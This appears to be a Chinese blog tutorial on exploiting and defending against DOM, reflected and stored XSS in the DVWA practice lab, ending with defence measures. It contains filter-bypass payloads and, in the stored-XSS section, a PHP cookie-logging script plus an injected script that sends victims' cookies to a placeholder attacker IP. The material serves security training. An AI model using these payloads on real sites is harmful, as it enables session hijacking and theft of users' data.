Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程

DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型

阿贵
3天前发布 /正在检测是否收录...
温馨提示:
本文最后更新于2025年09月12日,已超过3天没有更新,若内容或图片失效,请留言反馈。

DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型

1 XSS漏洞概述

XSS(Cross-Site Scripting)跨站脚本攻击是Web安全领域最常见的安全漏洞之一。它指的是攻击者向网页中注入恶意脚本(通常为JavaScript),当用户访问包含恶意脚本的页面时,这些脚本会被浏览器自动执行。XSS漏洞的本质是用户输入未被正确过滤或转义,最终被浏览器当作有效代码执行。

1.1 XSS漏洞类型

根据恶意脚本的存储和执行方式,XSS漏洞主要分为三种类型:

  • 反射型XSS(Reflected XSS):恶意脚本通过URL参数传递,服务器在响应中原样返回,需要用户点击恶意链接才能触发。
  • 存储型XSS(Stored XSS):恶意脚本被存储在服务器端(如数据库),当其他用户访问包含该脚本的页面时触发,危害更大。
  • DOM型XSS(DOM-based XSS):完全在浏览器端发生,不经过服务器处理,通过修改页面的DOM结构来执行恶意脚本。

1.2 XSS漏洞的危害

XSS漏洞可能造成以下严重后果:

  • 窃取用户敏感信息(如Cookie、会话令牌、个人数据)
  • 劫持用户会话,冒充用户执行操作
  • 篡改网页内容,实施钓鱼攻击
  • 传播恶意软件,控制用户浏览器
  • 结合CSRF攻击,执行未授权操作

2 DVWA环境搭建

DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要:

  1. 从官网下载DVWA安装包
  2. 解压到Web服务器目录(如Apache的htdocs目录)
  3. 配置数据库连接(config/config.inc.php)
  4. 在浏览器中访问DVWA,创建数据库
  5. 使用默认凭据登录(admin/password)

DVWA提供了四个安全级别,从完全无防护到近乎完美防护:

  • Low:无任何防护措施
  • Medium:基础防护(如转义特殊字符)
  • High:较强防护(如限制输入类型)
  • Impossible:近乎完美的防护

3 DOM型XSS漏洞详解

DOM型XSS(DOM Based Cross Site Scripting)是一种基于文档对象模型(Document Object Model)的漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式。

3.1 Low级别

漏洞分析:Low级别的源码完全没有进行任何过滤,用户输入直接被插入到DOM中。

<?php
// No protections, anything goes
?>

利用过程

  1. 在页面中选择English,点击提交
  2. 修改URL中的default参数:http://<DVWA-IP>/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
    7.png
  3. 页面成功执行脚本,弹出警告框

3.2 Medium级别

漏洞分析:Medium级别尝试过滤<script>标签,但可以通过其他方式绕过。

<?php
// 过滤<script标签
if (stripos($default, "<script") !== false) {
    header("location: ?default=English");
    exit;
}
?>

利用过程
使用闭合标签和HTML标签的事件处理程序绕过过滤:

http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=alert("XSS")>

或使用SVG标签:

http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><svg onload=alert("xss")>

3.3 High级别

漏洞分析:High级别使用白名单机制,只允许特定值(French、English、German、Spanish)。

<?php
// 白名单机制
switch ($_GET['default']) {
    case "French":
    case "English":
    case "German":
    case "Spanish":
        break;
    default:
        header("location: ?default=English");
        exit;
}
?>

利用过程:使用URL片段标识(#)绕过服务器端验证,因为#后的内容不会发送到服务器:

http://<DVWA-IP>/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>

3.4 Impossible级别

漏洞分析:Impossible级别在客户端对输入进行URL编码,防止恶意脚本执行。

<?php
// Don't need to do anything, protection handled on the client side
?>

4 反射型XSS漏洞详解

反射型XSS(Reflected Cross Site Scripting)是指恶意脚本作为参数包含在请求URL中,服务器接收后直接在响应中返回,从而在浏览器中执行。

4.1 Low级别

漏洞分析:Low级别没有任何过滤,直接输出用户输入。

<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

利用过程
直接输入恶意脚本:

<script>alert('XSS')</script>

8.png

或窃取Cookie:

<script>alert(document.cookie)</script>

4.2 Medium级别

漏洞分析:Medium级别尝试使用str_replace()函数过滤<script>标签。

<?php
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>

绕过方式

  1. 双写绕过

    <sc<script>ript>alert('XSS')</script>
  2. 大小写混淆

    <ScRipt>alert('XSS')</script>
  3. 使用其他标签

    <img src=x onerror=alert('XSS')>

4.3 High级别

漏洞分析:High级别使用正则表达式过滤<script>标签,不区分大小写。

<?php
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>

绕过方式:使用非script标签:

<img src=x onerror=alert('XSS')>

4.4 Impossible级别

漏洞分析:Impossible级别使用htmlspecialchars()函数将特殊字符转换为HTML实体,彻底防止XSS。

<?php
$name = htmlspecialchars( $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>

5 存储型XSS漏洞详解

存储型XSS(Stored Cross Site Scripting)是最危险的XSS类型,因为恶意脚本被存储在服务器端,每次用户访问包含该脚本的页面时都会触发。

5.1 存储型XSS的工作原理

  1. 攻击者提交恶意脚本:通过输入接口(如表单、评论区)将恶意脚本发送到服务器。
  2. 恶意脚本被存储:服务器将包含恶意代码的输入存储在数据库或其他存储介质中。
  3. 受害者访问存储数据:当受害者访问包含恶意脚本的页面时,恶意脚本被从数据库中提取并显示。
  4. 恶意脚本执行:恶意脚本在受害者浏览器中执行,实施攻击。

5.2 Low级别

漏洞分析:Low级别没有任何过滤,直接存储和显示用户输入。

利用过程

  1. 在留言板中输入恶意脚本:

    <script>alert('XSS')</script>

    9.png

  2. 提交后,每次任何用户访问该页面都会触发弹窗

窃取Cookie的实战利用

  1. 创建接收Cookie的PHP脚本(123.php):

    <?php
    $cookie = $_GET['cookie'];
    $ip = getenv('REMOTE_ADDR');
    $time = date('Y-m-d g:i:s');
    $fp = fopen('cookie.txt', 'a');
    fwrite($fp, "IP: $ip\nTime: $time\nCookie: $cookie\n");
    fclose($fp);
    ?>
  2. 在留言板中输入以下脚本:

    <script>
    document.write('<img src="http://<攻击者IP>/123.php?cookie=' + document.cookie + '" width=0 height=0 border=0 />');
    </script>
  3. 当用户访问包含该脚本的页面时,他们的Cookie会被自动发送到攻击者的服务器

5.3 Medium级别

漏洞分析:Medium级别尝试过滤<script>标签,但可以通过双写或大小写混淆绕过。

绕过方式

  1. 双写绕过

    <sc<script>ript>alert('XSS')</script>
  2. 大小写混淆

    <ScRiPt>alert('XSS')</ScRiPt>
  3. 使用其他标签

    <img src=x onerror=alert('XSS')>

5.4 High级别

漏洞分析:High级别使用正则表达式过滤script标签,需要使用非script标签进行绕过。

利用方式

<img src=x onerror=alert('XSS')>

5.5 Impossible级别

漏洞分析:Impossible级别使用htmlspecialchars()函数对输出进行转义,彻底防止XSS漏洞。

6 XSS漏洞防御方案

根据DVWA四个级别的防护措施,我们可以总结出以下有效的XSS防御方案:

6.1 输入验证和过滤

  • 白名单验证:只允许符合预期格式的数据
  • 过滤和清理:去除可能的恶意代码
  • 类型强制转换:确保输入参数符合预期类型

6.2 输出编码

  • HTML实体编码:使用htmlspecialchars()函数将特殊字符转换为HTML实体
  • JavaScript编码:当输出到JavaScript代码时,使用适当的编码
  • URL编码:当输出到URL参数时,使用urlencode()rawurlencode()

6.3 内容安全策略(CSP)

通过CSP头部限制页面可以加载和执行的资源来源,即使存在XSS漏洞,也能减少其危害。

Content-Security-Policy: default-src 'self'; script-src 'self'

6.4 HttpOnly Cookie

设置Cookie的HttpOnly属性,防止JavaScript访问敏感Cookie。

setcookie("sessionid", "12345", time()+3600, "/", "example.com", true, true);

6.5 其他防护措施

  • 限制输入长度:减少恶意脚本的注入风险
  • 使用安全API:避免使用innerHTMLdocument.write()等危险API
  • 定期安全审计:定期进行代码审查和安全测试

7 总结

通过DVWA平台的三个XSS漏洞模块(DOM型、反射型、存储型)的实验,我们可以得出以下结论:

  1. XSS漏洞非常常见且危险,尤其是存储型XSS,可能影响大量用户
  2. 简单的黑名单过滤很容易被绕过,需要采用多层次防御策略
  3. 根本的解决方案是输出编码,确保用户输入不被浏览器解释为代码
  4. CSP和HttpOnly Cookie提供了额外的防护层,减少漏洞被利用后的影响
  5. 安全是一个过程,需要持续的关注和测试

最重要的是:在实际开发中,应该始终对用户输入进行严格验证,并对输出进行适当编码,这是防止XSS攻击最有效的方式。

希望本文能帮助您理解XSS漏洞的原理、利用方式和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全不是一次性的工作,而是一个持续的过程。

喜欢就支持一下吧
点赞 1 分享 收藏
评论 抢沙发
OωO
取消 登录评论